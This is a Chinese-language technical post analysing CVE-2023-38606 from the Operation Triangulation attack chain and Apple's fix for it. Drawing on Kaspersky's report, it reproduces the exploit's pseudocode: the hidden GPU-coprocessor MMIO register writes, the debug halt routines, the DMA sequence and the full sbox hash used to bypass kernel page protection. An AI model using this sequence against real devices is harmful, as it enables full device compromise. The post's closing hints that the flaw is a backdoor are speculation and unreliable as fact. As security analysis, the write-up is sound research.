前言
前面连续写了7篇文章，讲解了三角测量的发现与漏洞利用过程，但是7篇文章还是不足以把这个极其复杂的安全事件写完，因为这个 APT 案例研究起来太烧脑了。技术研究就是要一步步给自己上难度，逼着自己进步。本期我们继续上难度，研究一下底层漏洞的利用。
目前对于这个极其复杂的漏洞利用链的一些方面，一些国际领先的安全公司还在做深入研究，尚处于未完全理解的状态。这篇文章大量引用了卡巴斯基 (Kaspersky) 官方分析报告的内容。
注：有一个问题值得思考，攻击者是如何知道苹果芯片的这些硬件特性的？相信读者看完这篇文章会有自己的答案。
技术研究过程
前置基础知识
苹果系统级芯片 SoC (Apple System on a Chip) 是一个包括 CPU 在内的更大范围的集成系统，指由苹果公司自行设计、用于 iPhone、iPad、Mac 等设备的 SoC，比如 A 系列、M 系列芯片。它是一个集成了多个组件的单一芯片，不仅包含了 CPU（中央处理单元），还可能包含 GPU（图形处理单元）、内存控制器、无线通信模块（如 Wi-Fi、蓝牙）、音频处理单元、图像信号处理器、存储控制器等各种硬件功能。
DeviceTree（设备树） 是一种数据结构/设备描述文件，用于描述系统中硬件的拓扑结构和资源信息。DeviceTree 是操作系统与硬件之间的“契约”，告诉操作系统当前这台设备有哪些硬件，以及这些硬件怎么访问。它主要包括：设备名称与类别、MMIO 寄存器的基址和大小、中断号/中断映射、时钟、复位/电源管理信息、程序无法自动探测的总线设备信息。内核需要在启动时知道怎样初始化这些硬件，DeviceTree 就是内核启动前的硬件元数据来源，苹果内核不会直接扫描硬件总线去找设备，而是通过 DeviceTree 获取硬件信息，然后初始化驱动。
dt 工具 从固件镜像中提取 DeviceTree (DT / DTB)，解析 DeviceTree 的结构化内容，以更人类可读的格式展示和查询设备节点，支持分析 MMIO 地址、中断、设备资源等内容。它的核心功能，是把 DeviceTree Binary Blob (DTB) 还原为可读可操作的结构。
CVE-2023-38606 苹果硬件级漏洞
该漏洞本质是一个未被公开、未被正常使用的硬件 MMIO 接口，允许攻击者在特定条件下执行任意物理内存写 (DMA)，从而绕过 iOS 的页面保护层 (PPL) 等关键安全机制。针对 CVE-2023-38606，苹果在较新的 iPhone 机型中对内核内存的敏感区域引入了基于硬件的安全防护。这类防护机制的设计目标，是在攻击者即便具备内核内存读写能力的情况下，仍然阻止其完全接管设备；而此前的攻击正是通过利用 CVE-2023-32434 达成了这一点。
为了绕过上述硬件级内存防护，三角测量攻击链进一步利用了苹果 SoC 中的另一项硬件特性。概括而言，这项特性允许攻击者通过向芯片中固件未使用的、未知的硬件寄存器写入数据、目标物理地址以及对应的数据哈希，从而实现对指定物理地址的写操作，并成功绕过硬件层面的内存保护机制。
我们推测，这一未知的硬件特性很可能是苹果工程师或工厂在调试或测试阶段预留的接口，亦或是被误加入到量产芯片中的设计残留。由于现有固件并未使用该特性，其具体用途和设计初衷尚不明确，也因此无法确定攻击者是如何获知并掌握其利用方式的，也不排除是攻击者遗留的后门。
漏洞利用涉及多个未知 MMIO 地址
苹果 SoC 中集成了多种外围设备，这些设备通常通过一组专用的硬件寄存器与 CPU 进行交互。为了便于 CPU 访问和控制这些外围设备，这些硬件寄存器会被映射到 CPU 可访问的内存地址空间中，这种机制被称为内存映射 I/O (Memory-Mapped I/O, MMIO)。在苹果产品（包括 iPhone、Mac 及其他设备）中，各类外设的 MMIO 地址范围被集中描述并存储在一种称为 DeviceTree (设备树) 的特殊文件格式中。设备树由固件提供，可从固件镜像中提取，并可借助 dt 等工具对其内容进行解析和查看。
下图展示了设备树中用于描述 MMIO 地址范围的一个示例，在 MMIO 模式下，CPU 对某个物理地址执行读写操作，如果这个地址对应 MMIO 区域，硬件设备接收到访问，并做出响应。我们可以看到 cpu0 的 acc-impl MMIO 范围的起始地址 (0x210f00000) 和大小 (0x50000)。在分析三角测量攻击行动时，漏洞利用针对苹果 A12 至 A16 Bionic SoC，目标是位于以下地址的未知 MMIO 寄存器块： 0x206040000 、 0x206140000 和 0x206150000 。
研究人员发现攻击者用来绕过基于硬件的内核内存保护的大多数 MMIO 并不属于设备树中定义的任何 MMIO 范围。为了进一步确认该判断，研究人员尝试了不同的方法：检查了不同设备和不同固件文件的设备树文件，依然没有相关寄存器块的内容；查看了公开可用的源代码，也没有结果；检查了内核镜像、内核扩展、iboot 和协处理器固件，寻找对这些地址的直接引用，结果同样是一无所获。最终一系列的疑问出现了：这些利用的 MMIO 地址为何没有被固件使用？攻击者是如何发现它们的？这些 MMIO 地址属于哪些外设设备？
接着研究人员灵感来了：在靠近这些未知 MMIO 块区域内可能存在已知的 MMIO，这个方法很有效。最后通过查看 gfx-asc 设备树条目的转储内容发现了端倪，它与 GPU 协处理器相关。
它有两个 MMIO 范围：0x206400000–0x20646C000 和 0x206050000–0x206050008，接下来看一下它们与利用程序使用的区域是如何关联的。gfx-asc MMIO 范围与利用程序使用的地址的关联性如下图所示。通过对漏洞代码进行逆向分析，该漏洞利用了以下未知地址： 0x206040000 、 0x206140008 、 0x206140108 、 0x206150020 、 0x206150040 和 0x206150048 。这些地址大多数位于两个 gfx-asc 区域之间，而剩下的一个则位于第一个 gfx-asc 区域的起始附近，这表明所有这些 MMIO 寄存器很可能都属于 GPU 协处理器，攻击者利用的 CVE-2023-38606 硬件漏洞，很可能与 GPU 协处理器 (gfx-ASC) 相关。
之后安全专家分析了三角测量行动中的漏洞利用代码，发现了证实上述猜想的证据。漏洞利用程序在初始化时做的第一件事是写入另一个 MMIO 寄存器，而该寄存器在每个 SoC 上的地址都不同，如下代码所示，A12 至 A16 都不一样。
if (cpuid == 0x8765EDEA): # CPUFAMILY_ARM_EVEREST_SAWTOOTH (A16)
base = 0x23B700408
command = 0x1F0023FF
elif (cpuid == 0xDA33D83D): # CPUFAMILY_ARM_AVALANCHE_BLIZZARD (A15)
base = 0x23B7003C8
command = 0x1F0023FF
elif (cpuid == 0x1B588BB3): # CPUFAMILY_ARM_FIRESTORM_ICESTORM (A14)
base = 0x23B7003D0
command = 0x1F0023FF
elif (cpuid == 0x462504D2): # CPUFAMILY_ARM_LIGHTNING_THUNDER (A13)
base = 0x23B080390
command = 0x1F0003FF
elif (cpuid == 0x07D34B9F): # CPUFAMILY_ARM_VORTEX_TEMPEST (A12)
base = 0x23B080388
command = 0x1F0003FF
if ((~read_dword(base) & 0xF) != 0): // 先读寄存器状态
write_dword(base, command) // 向硬件发出“初始化 / 解锁 / 使能”命令,改变内部状态机
while(True):
if ((~read_dword(base) & 0xF) == 0):
break
借助设备树和 Siguza 的工具 pmgr ，发现所有这些地址都对应于电源管理器 MMIO 范围内的 GFX 寄存器。最后尝试访问这些未知区域中的寄存器时，得到了第 3 个证据证实上述猜想：几乎瞬间，GPU 协处理器产生了提示消息：“GFX SERROR Exception class=0x2f (SError interrupt), IL=1, iss=0 – power(1)”。
通过上述的研究和分析，我们能够确认所有这些用于利用的未知 MMIO 寄存器都属于 GPU 协处理器。这促使安全人员更深入地研究其固件，固件同样是用 ARM 编写且未加密，但在其中找不到与这些寄存器相关的任何内容。
未知的 MMIO 寄存器的真实用途
接着仔细研究该漏洞是如何操作这些未知的 MMIO 寄存器的。寄存器 0x206040000 在所有寄存器中尤为突出，因为它位于一个独立的 MMIO 块中，与其他寄存器分开。它只在漏洞利用的初始化和结束阶段被访问：初始化时它是第一个被设置的寄存器，结束时则是最后一个。从经验来看，很明显该寄存器要么是用来启用/禁用漏洞利用所用的硬件功能，要么是用来控制中断的。于是开始追踪中断路径，不久后成功识别出了这个未知寄存器 0x206040000，并且还发现了地址范围 0x206000000–0x206050000 到底映射了什么。
如下所示，这是研究人员识别出的漏洞利用程序的逆向代码，即漏洞利用中关于 0x206040000 寄存器的伪代码。研究者通过分析漏洞利用中对地址 0x206040000 的访问模式，确认该寄存器是一个隐藏的调试/中断控制寄存器，用于在 exploit 初始化阶段暂停 CPU、在结束阶段恢复 CPU。这一发现揭示了攻击者是通过操控 SoC 内部的调试硬件来配合完成后续的内核保护绕过。
def ml_dbgwrap_halt_cpu(): // debug wrapper（调试封装），暂停
value = read_qword(0x206040000)
if ((value & 0x90000000) != 0):
return
write_qword(0x206040000, value | 0x80000000)
while (True):
if ((read_qword(0x206040000) & 0x10000000) != 0):
break
def ml_dbgwrap_unhalt_cpu(): // debug wrapper（调试封装）,恢复
value = read_qword(0x206040000)
value = (value & 0xFFFFFFFF2FFFFFFF) | 0x40000000
write_qword(0x206040000, value)
while (True):
if ((read_qword(0x206040000) & 0x10000000) == 0):
break
在后续的一系列分析过程中发现，在 XNU 源代码中存在一个名为 dbgwrap.c 的文件，其中包含一个与前述伪代码中同名的函数 ml_dbgwrap_halt_cpu 。该文件主要用于操作主 CPU 的 ARM CoreSight 调试硬件，通过一组 MMIO 调试寄存器实现对 CPU 执行状态的控制。源代码中指出，CoreSight 调试模块由四个相邻的 MMIO 区域组成，分别命名为 ED (Embedded Debug)、CTI (Cross Trigger Interface)、PMU (Performance Monitor Unit) 和 UTT。每个区域占用 0x10000 字节，并在物理地址空间中连续排列。其中，ml_dbgwrap_halt_cpu 函数使用的是 UTT 区域。源码明确说明，与 ED、CTI 和 PMU 这三个源自 ARM 官方 CoreSight 架构的标准模块不同，UTT 并非 ARM 规范的一部分，而是苹果自行实现的私有扩展调试功能，其引入主要是出于内部实现和使用便利性的考虑。
研究人员可以向相应位置写入 ARM_DBG_LOCK_ACCESS_KEY（这是 ARM CoreSight 架构中定义的标准调试解锁钥匙写入到特定寄存器后，调试寄存器会被解锁，随后可正常读写并产生预期行为），确认 0x206000000–0x206050000 确实是 GPU 协处理器的 CoreSight MMIO 调试寄存器块。主 CPU 的每个核心都有自己的 CoreSight MMIO 调试寄存器块，但与 GPU 协处理器不同的是，它们的地址可以在设备树中找到。很快会有一个疑问，这个漏洞利用的作者知道这些隐藏寄存器的存在、如何知道苹果私有 UTT 调试区域中用于解除 CPU 停止状态的用法：这段代码并不属于 XNU 源代码的一部分，说明攻击者掌握了 XNU 源码之外的 Apple SoC 内部调试细节，也许可以通过实验不断调试分析发现。
尽管可以确认并解释漏洞利用中第一个隐藏 MMIO 区域的用途，但对于 exploit 在第二个未知 MMIO 区域中执行的操作，目前既无法确定该区域具体包含哪些调试寄存器，也无法解释在固件未使用这些寄存器的情况下，攻击者是如何发现并成功利用它们的。
寄存器 0x206140008 与 0x206140108 分别用于控制漏洞利用所依赖的硬件功能的启用/禁用以及运行状态，漏洞代码正是通过对这两个寄存器的精细操作来驱动相关硬件模块，其使用逻辑如后文伪代码所示。
寄存器 0x206150020 仅存在于 Apple A15/A16 Bionic SoC 中。在漏洞利用的初始化阶段，该寄存器被设置为 1，而在漏洞执行完成后，其值会被恢复为原始状态，表明该寄存器可能用于控制某个 SoC 特有的功能开关或安全相关机制。
寄存器 0x206150040 用于保存若干控制标志位，并存储目标物理地址的低位部分，推测其在漏洞利用过程中承担了目标地址配置的角色。
def dma_ctrl_1():
ctrl = 0x206140108
value = read_qword(ctrl)
write_qword(ctrl, value | 0x8000000000000001)
sleep(1)
while ((~read_qword(ctrl) & 0x8000000000000001) != 0):
sleep(1)
def dma_ctrl_2(flag):
ctrl = 0x206140008
value = read_qword(ctrl)
if (flag):
if ((value & 0x1000000000000000) == 0):
value = value | 0x1000000000000000
write_qword(ctrl, value)
else:
if ((value & 0x1000000000000000) != 0):
value = value & ~0x1000000000000000
write_qword(ctrl, value)
def dma_ctrl_3(value):
ctrl = 0x206140108
value = value | 0x8000000000000000
write_qword(ctrl, read_qword(ctrl) & value)
while ((read_qword(ctrl) & 0x8000000000000001) != 0):
sleep(1)
def dma_init(original_value_0x206140108):
dma_ctrl_1()
dma_ctrl_2(False)
dma_ctrl_3(original_value_0x206140108)
def dma_done(original_value_0x206140108):
dma_ctrl_1()
dma_ctrl_2(True)
dma_ctrl_3(original_value_0x206140108)
最后一个寄存器 0x206150048 用于存储需要写入的数据和目标物理地址的高半部分，同时还包含数据哈希和另一个值（可能是命令）。该硬件功能以对齐的 0x40 字节块写入数据，所有内容应通过九次连续写操作写入 0x206150048 寄存器。利用 0x206150040 和 0x206150048 寄存器的伪代码，只要一切操作正确，硬件就会执行直接内存访问 (DMA) 操作，并将数据写入请求的位置。
if (cpuid == 0x8765EDEA): # CPUFAMILY_ARM_EVEREST_SAWTOOTH (A16) // 不同 Apple SoC 对寄存器字段的位布局不同
i = 8
mask = 0x7FFFFFF
elif (cpuid == 0xDA33D83D): # CPUFAMILY_ARM_AVALANCHE_BLIZZARD (A15)
i = 8
mask = 0x3FFFFF
elif (cpuid == 0x1B588BB3): # CPUFAMILY_ARM_FIRESTORM_ICESTORM (A14)
i = 0x28
mask = 0x3FFFFF
elif (cpuid == 0x462504D2): # CPUFAMILY_ARM_LIGHTNING_THUNDER (A13)
i = 0x28
mask = 0x3FFFFF
elif (cpuid == 0x07D34B9F): # CPUFAMILY_ARM_VORTEX_TEMPEST (A12)
i = 0x28
mask = 0x3FFFFF
dma_init(original_value_0x206140108) // DMA 初始化阶段
hash1 = calculate_hash(data)
hash2 = calculate_hash(data+0x20)
write_qword(0x206150040, 0x2000000 | (phys_addr & 0x3FC0))
pos = 0
while (pos < 0x40): // 连续写入 64 字节数据,每次写 8 字节,总共写8次
write_qword(0x206150048, read_qword(data + pos))
pos += 8
// 第 9 次写：真正触发 DMA
phys_addr_upper = ((((phys_addr >> 14) & mask) << 18) & 0x3FFFFFFFFFFFF)
value = phys_addr_upper | (hash1 << i) | (hash2 << 50) | 0x1F
write_qword(0x206150048, value)
dma_done(original_value_0x206140108) // DMA 完成与清理
GPU 协处理器中的隐藏 DMA 哈希校验漏洞及利用方式
在上述攻击利用过程中，向 0x206150048 写入数据需要进行哈希校验，而该哈希算法是一个自定义算法，使用了一个预定义的 sbox 进行哈希计算。Apple 在某个内部硬件模块中使用了一种可被完全重现的线性哈希校验来保护 DMA 写操作，但由于缺乏权限和上下文校验，该机制最终被漏洞利用，用于绕过 PPL 并实现对受保护内存的写入。该漏洞利用了这一硬件特性作为页面保护层 (PPL) 绕过手段，主要用于修补页表项；它也可以用于修补受保护的 PPLDATA 段中的数据。该漏洞利用并未使用该特性来修补内核代码，但在一次测试中，研究人员成功地覆盖了内核 TEXT_EXEC 段中的一条指令，并触发了带有预期地址和值的“未定义内核指令”恐慌。这只成功过一次，而其他尝试均导致了 AMCC 恐慌。这是一个很值得研究的课题，因为如果能将一个曾被用来攻击我们的漏洞转而用于正面用途，比如在新款 iPhone 上启用内核调试，那将非常酷。
既然所有与 MMIO 寄存器相关的工作都已介绍完毕，让我们来看最后一件事：哈希是如何计算的。算法如下所示。该未知硬件功能使用的哈希函数伪代码：
sbox = [
0x007, 0x00B, 0x00D, 0x013, 0x00E, 0x015, 0x01F, 0x016,
0x019, 0x023, 0x02F, 0x037, 0x04F, 0x01A, 0x025, 0x043,
0x03B, 0x057, 0x08F, 0x01C, 0x026, 0x029, 0x03D, 0x045,
0x05B, 0x083, 0x097, 0x03E, 0x05D, 0x09B, 0x067, 0x117,
0x02A, 0x031, 0x046, 0x049, 0x085, 0x103, 0x05E, 0x09D,
0x06B, 0x0A7, 0x11B, 0x217, 0x09E, 0x06D, 0x0AB, 0x0C7,
0x127, 0x02C, 0x032, 0x04A, 0x051, 0x086, 0x089, 0x105,
0x203, 0x06E, 0x0AD, 0x12B, 0x147, 0x227, 0x034, 0x04C,
0x052, 0x076, 0x08A, 0x091, 0x0AE, 0x106, 0x109, 0x0D3,
0x12D, 0x205, 0x22B, 0x247, 0x07A, 0x0D5, 0x153, 0x22D,
0x038, 0x054, 0x08C, 0x092, 0x061, 0x10A, 0x111, 0x206,
0x209, 0x07C, 0x0BA, 0x0D6, 0x155, 0x193, 0x253, 0x28B,
0x307, 0x0BC, 0x0DA, 0x156, 0x255, 0x293, 0x30B, 0x058,
0x094, 0x062, 0x10C, 0x112, 0x0A1, 0x20A, 0x211, 0x0DC,
0x196, 0x199, 0x256, 0x165, 0x259, 0x263, 0x30D, 0x313,
0x098, 0x064, 0x114, 0x0A2, 0x15C, 0x0EA, 0x20C, 0x0C1,
0x121, 0x212, 0x166, 0x19A, 0x299, 0x265, 0x2A3, 0x315,
0x0EC, 0x1A6, 0x29A, 0x266, 0x1A9, 0x269, 0x319, 0x2C3,
0x323, 0x068, 0x0A4, 0x118, 0x0C2, 0x122, 0x214, 0x141,
0x221, 0x0F4, 0x16C, 0x1AA, 0x2A9, 0x325, 0x343, 0x0F8,
0x174, 0x1AC, 0x2AA, 0x326, 0x329, 0x345, 0x383, 0x070,
0x0A8, 0x0C4, 0x124, 0x218, 0x142, 0x222, 0x181, 0x241,
0x178, 0x2AC, 0x32A, 0x2D1, 0x0B0, 0x0C8, 0x128, 0x144,
0x1B8, 0x224, 0x1D4, 0x182, 0x242, 0x2D2, 0x32C, 0x281,
0x351, 0x389, 0x1D8, 0x2D4, 0x352, 0x38A, 0x391, 0x0D0,
0x130, 0x148, 0x228, 0x184, 0x244, 0x282, 0x301, 0x1E4,
0x2D8, 0x354, 0x38C, 0x392, 0x1E8, 0x2E4, 0x358, 0x394,
0x362, 0x3A1, 0x150, 0x230, 0x188, 0x248, 0x284, 0x302,
0x1F0, 0x2E8, 0x364, 0x398, 0x3A2, 0x0E0, 0x190, 0x250,
0x2F0, 0x288, 0x368, 0x304, 0x3A4, 0x370, 0x3A8, 0x3C4,
0x160, 0x290, 0x308, 0x3B0, 0x3C8, 0x3D0, 0x1A0, 0x260,
0x310, 0x1C0, 0x2A0, 0x3E0, 0x2C0, 0x320, 0x340, 0x380
]
def calculate_hash(buffer):
acc = 0
for i in range(8):
pos = i * 4
value = read_dword(buffer + pos)
for j in range(32):
if (((value >> j) & 1) != 0):
acc ^= sbox[32 * i + j]
return acc
正如前文所示，这是一个完全自定义的哈希算法，其哈希值通过查表方式，结合一个预定义的 sbox 表计算得出。于是有研究人员尝试在大量固件和二进制文件中搜索相关实现或使用痕迹，但并未发现任何匹配结果。我们注意到，这个哈希算法本身并不算安全：其有效位数只有 20 位（两次各 10 位的计算结果），从传统密码学角度来看几乎不具备抗碰撞能力。然而，在实际使用中，只要外界并不知道该哈希的计算方式以及对应的硬件接口如何被正确驱动，它仍然可以起到一定的保护作用。这种设计思路正是所谓的 “Security by Obscurity”。
这也引出了一个关键问题：如果该硬件特性在正常情况下并未被任何固件使用，系统中也不存在关于其使用方式的公开实现，那么攻击者究竟是如何发现并成功利用它的？为此，研究人员进行了进一步测试，后续发现 Mac 内部的 M1 芯片同样包含这一未知的硬件特性。随后，研究人员使用非常出色的 m1n1 工具进行实验，该工具提供了 trace_range 功能，可以对指定的 MMIO 地址范围进行访问追踪。对物理地址区间 0x206110000–0x206400000 启用了追踪，但结果显示，macOS 并未对这些寄存器进行任何访问。
漏洞修复：通过 pmap-io-ranges 阻断 MMIO 漏洞利用路径
研究人员原本希望通过分析 iOS 16.6 中针对该漏洞的修复补丁，进一步弄清第二个未知内存区域的具体内容和用途。虽然已经确认了苹果用于缓解该漏洞的整体思路和实现方式，但相关苹果的修复代码经过了刻意的混淆处理，使得具体细节难以被直接还原和理解。
苹果通过将漏洞利用所依赖的 MMIO 物理地址范围 0x206000000–0x206050000 和 0x206110000–0x206400000 明确加入设备树中的 pmap-io-ranges 表，来阻止该漏洞的利用。XNU 内核在尝试映射物理地址时，会查询该表，并根据其中记录的信息决定该地址范围是否允许被映射到虚拟地址空间。在 pmap-io-ranges 中，每一条记录都包含一个清晰的标签名，用于标明该物理地址范围对应的内存或硬件类型，例如外设寄存器或受保护的硬件区域。通过将漏洞相关的 MMIO 区域标记为不可访问，系统可以在内存映射的最底层直接拒绝对这些寄存器的访问，从而有效地阻断漏洞利用路径。pmap-io-ranges 中存储条目的示例如下：
在这些标签中，PCIe 表示“外设组件互连快速通道”，DART 表示“设备地址解析表”，DAPF 表示“设备地址过滤器”等等。这些标签用于说明对应的物理地址范围属于哪一类硬件或内存区域；而漏洞利用中所涉及的地址范围，其对应的标签名称与上述常见标签明显不同，具有很强的特殊性。下面列出的正是漏洞利用过程中使用到的区域条目。
总结
- 只要存在能够绕过这些保护的硬件特性，先进的基于硬件的保护在面对复杂攻击者时就是无用的。
- 三角测量系列漏洞是不是后门，相信读者有自己的判断。
对于网络安全，尤其是系统底层和硬件安全领域的深入分析，你可以在云栈社区找到更多相关的讨论和资源分享。这类硬件级别的漏洞利用和防御分析，深刻揭示了现代移动设备安全攻防的复杂性。
发表于 9 小时前
|
查看: 3|
回复: 0
